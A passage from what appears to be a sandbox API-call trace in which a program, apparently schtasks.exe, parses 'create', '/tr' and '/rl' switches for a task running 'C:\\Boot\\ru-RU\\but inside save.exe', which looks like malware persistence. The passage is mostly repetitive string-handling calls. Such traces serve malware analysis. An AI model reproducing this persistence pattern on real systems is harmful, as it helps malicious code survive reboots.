_BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.029] lstrlenW (lpString="|d|") returned 3 [0132.029] lstrlenW (lpString="|tr|") returned 4 [0132.029] SetLastError (dwErrCode=0x490) [0132.029] lstrlenW (lpString="m") returned 1 [0132.029] lstrlenW (lpString="m") returned 1 [0132.029] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.029] lstrlenW (lpString="tr") returned 2 [0132.029] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.029] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|m|") returned 3 [0132.029] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.029] lstrlenW (lpString="|m|") returned 3 [0132.029] lstrlenW (lpString="|tr|") returned 4 [0132.029] SetLastError (dwErrCode=0x490) [0132.029] lstrlenW (lpString="i") returned 1 [0132.029] lstrlenW (lpString="i") returned 1 [0132.029] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.029] lstrlenW (lpString="tr") returned 2 [0132.029] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.029] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|i|") returned 3 [0132.029] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.029] lstrlenW (lpString="|i|") returned 3 [0132.029] lstrlenW (lpString="|tr|") returned 4 [0132.029] SetLastError (dwErrCode=0x490) [0132.029] lstrlenW (lpString="tn") returned 2 [0132.029] lstrlenW (lpString="tn") returned 2 [0132.029] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.030] lstrlenW (lpString="tr") returned 2 [0132.030] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.030] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.030] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.030] lstrlenW (lpString="|tn|") returned 4 [0132.030] lstrlenW (lpString="|tr|") returned 4 [0132.030] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0132.030] SetLastError (dwErrCode=0x490) [0132.030] lstrlenW (lpString="tr") returned 2 [0132.030] lstrlenW (lpString="tr") returned 2 [0132.030] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.030] lstrlenW (lpString="tr") returned 2 [0132.030] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.030] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.030] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.030] lstrlenW (lpString="|tr|") returned 4 [0132.030] lstrlenW (lpString="|tr|") returned 4 [0132.030] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0132.030] SetLastError (dwErrCode=0x0) [0132.030] SetLastError (dwErrCode=0x0) [0132.030] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.030] lstrlenW (lpString="-/") returned 2 [0132.030] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.030] SetLastError (dwErrCode=0x490) [0132.030] SetLastError (dwErrCode=0x490) [0132.031] SetLastError (dwErrCode=0x0) [0132.031] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.031] StrChrIW (lpStart="'C:\\Boot\\ru-RU\\but inside save.exe'", wMatch=0x3a) returned=":\\Boot\\ru-RU\\but inside save.exe'" [0132.031] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.031] _memicmp (_Buf1=0x3ed4e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.031] _memicmp (_Buf1=0x3ed520, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.031] SetLastError (dwErrCode=0x7a) [0132.031] SetLastError (dwErrCode=0x0) [0132.031] SetLastError (dwErrCode=0x0) [0132.031] lstrlenW (lpString="'C") returned 2 [0132.031] lstrlenW (lpString="-/") returned 2 [0132.031] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.031] SetLastError (dwErrCode=0x490) [0132.031] SetLastError (dwErrCode=0x490) [0132.031] SetLastError (dwErrCode=0x0) [0132.031] _memicmp (_Buf1=0x3ed560, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.031] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.031] GetProcessHeap () returned 0x3d0000 [0132.031] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed580) returned 1 [0132.031] GetProcessHeap () returned 0x3d0000 [0132.031] RtlReAllocateHeap (Heap=0x3d0000, Flags=0xc, Ptr=0x3ed580, Size=0x48) returned 0x3e9310 [0132.031] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.032] lstrlenW (lpString=" \x09") returned 2 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0132.032] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0132.045] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.045] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0132.045] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0132.046] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0132.046] GetLastError () returned 0x0 [0132.046] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.046] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.046] SetLastError (dwErrCode=0x0) [0132.046] SetLastError (dwErrCode=0x0) [0132.046] lstrlenW (lpString="/rl") returned 3 [0132.046] lstrlenW (lpString="-/") returned 2 [0132.046] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.046] lstrlenW (lpString="create") returned 6 [0132.046] lstrlenW (lpString="create") returned 6 [0132.046] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.046] lstrlenW (lpString="rl") returned 2 [0132.046] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.047] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|create|") returned 8 [0132.047] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.047] lstrlenW (lpString="|create|") returned 8 [0132.047] lstrlenW (lpString="|rl|") returned 4 [0132.047] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0132.047] SetLastError (dwErrCode=0x490) [0132.047] lstrlenW (lpString="?") returned 1 [0132.047] lstrlenW (lpString="?") returned 1 [0132.047] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.047] lstrlenW (lpString="rl") returned 2 [0132.047] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.047] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|?|") returned 3 [0132.047] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.047] lstrlenW (lpString="|?|") returned 3 [0132.047] lstrlenW (lpString="|rl|") returned 4 [0132.047] SetLastError (dwErrCode=0x490) [0132.047] lstrlenW (lpString="s") returned 1 [0132.047] lstrlenW (lpString="s") returned 1 [0132.047] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.048] lstrlenW (lpString="rl") returned 2 [0132.048] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.048] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|s|") returned 3 [0132.048] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.048] lstrlenW (lpString="|s|") returned 3 [0132.048] lstrlenW (lpString="|rl|") returned 4 [0132.048] SetLastError (dwErrCode=0x490) [0132.048] lstrlenW (lpString="u") returned 1 [0132.048] lstrlenW (lpString="u") returned 1 [0132.048] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.048] lstrlenW (lpString="rl") returned 2 [0132.048] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.048] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|u|") returned 3 [0132.048] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.048] lstrlenW (lpString="|u|") returned 3 [0132.048] lstrlenW (lpString="|rl|") returned 4 [0132.048] SetLastError (dwErrCode=0x490) [0132.048] lstrlenW (lpString="p") returned 1 [0132.048] lstrlenW (lpString="p") returned 1 [0132.049] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.049] lstrlenW (lpString="rl") returned 2 [0132.049] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.049] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|p|") returned 3 [0132.049] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.049] lstrlenW (lpString="|p|") returned 3 [0132.049] lstrlenW (lpString="|rl|") returned 4 [0132.049] SetLastError (dwErrCode=0x490) [0132.049] lstrlenW (lpString="ru") returned 2 [0132.049] lstrlenW (lpString="ru") returned 2 [0132.049] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.049] lstrlenW (lpString="rl") returned 2 [0132.049] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.049] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ru|") returned 4 [0132.049] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.049] lstrlenW (lpString="|ru|") returned 4 [0132.049] lstrlenW (lpString="|rl|") returned 4 [0132.049] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0132.050] SetLastError (dwErrCode=0x490) [0132.050] lstrlenW (lpString="rp") returned 2 [0132.050] lstrlenW (lpString="rp") returned 2 [0132.050] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.050] lstrlenW (lpString="rl") returned 2 [0132.050] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.050] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rp|") returned 4 [0132.050] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.050] lstrlenW (lpString="|rp|") returned 4 [0132.050] lstrlenW (lpString="|rl|") returned 4 [0132.050] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0132.050] SetLastError (dwErrCode=0x490) [0132.050] lstrlenW (lpString="sc") returned 2 [0132.050] lstrlenW (lpString="sc") returned 2 [0132.050] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.050] lstrlenW (lpString="rl") returned 2 [0132.050] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.050] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sc|") returned 4 [0132.051] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.051] lstrlenW (lpString="|sc|") returned 4 [0132.051] lstrlenW (lpString="|rl|") returned 4 [0132.051] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0132.051] SetLastError (dwErrCode=0x490) [0132.051] lstrlenW (lpString="mo") returned 2 [0132.051] lstrlenW (lpString="mo") returned 2 [0132.051] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.051] lstrlenW (lpString="rl") returned 2 [0132.051] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.051] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|mo|") returned 4 [0132.051] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.051] lstrlenW (lpString="|mo|") returned 4 [0132.051] lstrlenW (lpString="|rl|") returned 4 [0132.051] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0132.051] SetLastError (dwErrCode=0x490) [0132.051] lstrlenW (lpString="d") returned 1 [0132.051] lstrlenW (lpString="d") returned 1 [0132.051] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.052] lstrlenW (lpString="rl") returned 2 [0132.052] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.052] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|d|") returned 3 [0132.052] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.052] lstrlenW (lpString="|d|") returned 3 [0132.052] lstrlenW (lpString="|rl|") returned 4 [0132.052] SetLastError (dwErrCode=0x490) [0132.052] lstrlenW (lpString="m") returned 1 [0132.052] lstrlenW (lpString="m") returned 1 [0132.052] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.052] lstrlenW (lpString="rl") returned 2 [0132.052] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.052] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|m|") returned 3 [0132.052] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.052] lstrlenW (lpString="|m|") returned 3 [0132.052] lstrlenW (lpString="|rl|") returned 4 [0132.052] SetLastError (dwErrCode=0x490) [0132.052] lstrlenW (lpString="i") returned 1 [0132.052] lstrlenW (lpString="i") returned 1 [0132.053] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.053] lstrlenW (lpString="rl") returned 2 [0132.053] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.053] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|i|") returned 3 [0132.053] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.053] lstrlenW (lpString="|i|") returned 3 [0132.053] lstrlenW (lpString="|rl|") returned 4 [0132.053] SetLastError (dwErrCode=0x490) [0132.053] lstrlenW (lpString="tn") returned 2 [0132.053] lstrlenW (lpString="tn") returned 2 [0132.053] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.053] lstrlenW (lpString="rl") returned 2 [0132.053] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.053] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tn|") returned 4 [0132.053] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.053] lstrlenW (lpString="|tn|") returned 4 [0132.053] lstrlenW (lpString="|rl|") returned 4 [0132.053] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0132.054] SetLastError (dwErrCode=0x490) [0132.054] lstrlenW (lpString="tr") returned 2 [0132.054] lstrlenW (lpString="tr") returned 2 [0132.054] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.054] lstrlenW (lpString="rl") returned 2 [0132.054] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.054] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|tr|") returned 4 [0132.054] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.054] lstrlenW (lpString="|tr|") returned 4 [0132.054] lstrlenW (lpString="|rl|") returned 4 [0132.054] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0132.054] SetLastError (dwErrCode=0x490) [0132.054] lstrlenW (lpString="st") returned 2 [0132.054] lstrlenW (lpString="st") returned 2 [0132.054] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.054] lstrlenW (lpString="rl") returned 2 [0132.054] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.054] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|st|") returned 4 [0132.055] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.055] lstrlenW (lpString="|st|") returned 4 [0132.055] lstrlenW (lpString="|rl|") returned 4 [0132.055] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0132.055] SetLastError (dwErrCode=0x490) [0132.055] lstrlenW (lpString="sd") returned 2 [0132.055] lstrlenW (lpString="sd") returned 2 [0132.055] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.055] lstrlenW (lpString="rl") returned 2 [0132.055] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.055] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|sd|") returned 4 [0132.055] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.055] lstrlenW (lpString="|sd|") returned 4 [0132.055] lstrlenW (lpString="|rl|") returned 4 [0132.055] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0132.055] SetLastError (dwErrCode=0x490) [0132.055] lstrlenW (lpString="ed") returned 2 [0132.055] lstrlenW (lpString="ed") returned 2 [0132.055] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.056] lstrlenW (lpString="rl") returned 2 [0132.056] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.056] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ed|") returned 4 [0132.056] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.056] lstrlenW (lpString="|ed|") returned 4 [0132.056] lstrlenW (lpString="|rl|") returned 4 [0132.056] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0132.056] SetLastError (dwErrCode=0x490) [0132.056] lstrlenW (lpString="it") returned 2 [0132.056] lstrlenW (lpString="it") returned 2 [0132.056] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.056] lstrlenW (lpString="rl") returned 2 [0132.056] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.056] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|it|") returned 4 [0132.056] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.056] lstrlenW (lpString="|it|") returned 4 [0132.056] lstrlenW (lpString="|rl|") returned 4 [0132.056] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0132.056] SetLastError (dwErrCode=0x490) [0132.057] lstrlenW (lpString="et") returned 2 [0132.057] lstrlenW (lpString="et") returned 2 [0132.057] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.057] lstrlenW (lpString="rl") returned 2 [0132.057] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.057] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|et|") returned 4 [0132.057] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.057] lstrlenW (lpString="|et|") returned 4 [0132.057] lstrlenW (lpString="|rl|") returned 4 [0132.057] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0132.057] SetLastError (dwErrCode=0x490) [0132.057] lstrlenW (lpString="k") returned 1 [0132.057] lstrlenW (lpString="k") returned 1 [0132.057] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.057] lstrlenW (lpString="rl") returned 2 [0132.057] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.057] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|k|") returned 3 [0132.057] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.058] lstrlenW (lpString="|k|") returned 3 [0132.058] lstrlenW (lpString="|rl|") returned 4 [0132.058] SetLastError (dwErrCode=0x490) [0132.058] lstrlenW (lpString="du") returned 2 [0132.058] lstrlenW (lpString="du") returned 2 [0132.058] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.058] lstrlenW (lpString="rl") returned 2 [0132.058] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.058] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|du|") returned 4 [0132.058] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.058] lstrlenW (lpString="|du|") returned 4 [0132.058] lstrlenW (lpString="|rl|") returned 4 [0132.058] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0132.058] SetLastError (dwErrCode=0x490) [0132.058] lstrlenW (lpString="ri") returned 2 [0132.058] lstrlenW (lpString="ri") returned 2 [0132.058] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.058] lstrlenW (lpString="rl") returned 2 [0132.058] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.059] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|ri|") returned 4 [0132.059] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.059] lstrlenW (lpString="|ri|") returned 4 [0132.059] lstrlenW (lpString="|rl|") returned 4 [0132.059] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0132.059] SetLastError (dwErrCode=0x490) [0132.059] lstrlenW (lpString="z") returned 1 [0132.059] lstrlenW (lpString="z") returned 1 [0132.059] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.059] lstrlenW (lpString="rl") returned 2 [0132.059] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.059] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|z|") returned 3 [0132.059] _vsnwprintf (in: _Buffer=0x3ec200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c728 | out: _Buffer="|rl|") returned 4 [0132.059] lstrlenW (lpString="|z|") returned 3 [0132.059] lstrlenW (lpString="|rl|") returned 4 [0132.059] SetLastError (dwErrCode=0x490) [0132.059] lstrlenW (lpString="f") returned 1 [0132.059] lstrlenW (lpString="f") returned 1 [0132.059] _memicmp (_Buf1=0x3ec1a0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.060] lstrlenW (lpString="rl") returned 2 [0132.060] _memicmp (_Buf1=0x3ec1e0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.060] _vsnwprintf (in: _Buffer=0x3ec220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c728 | out: 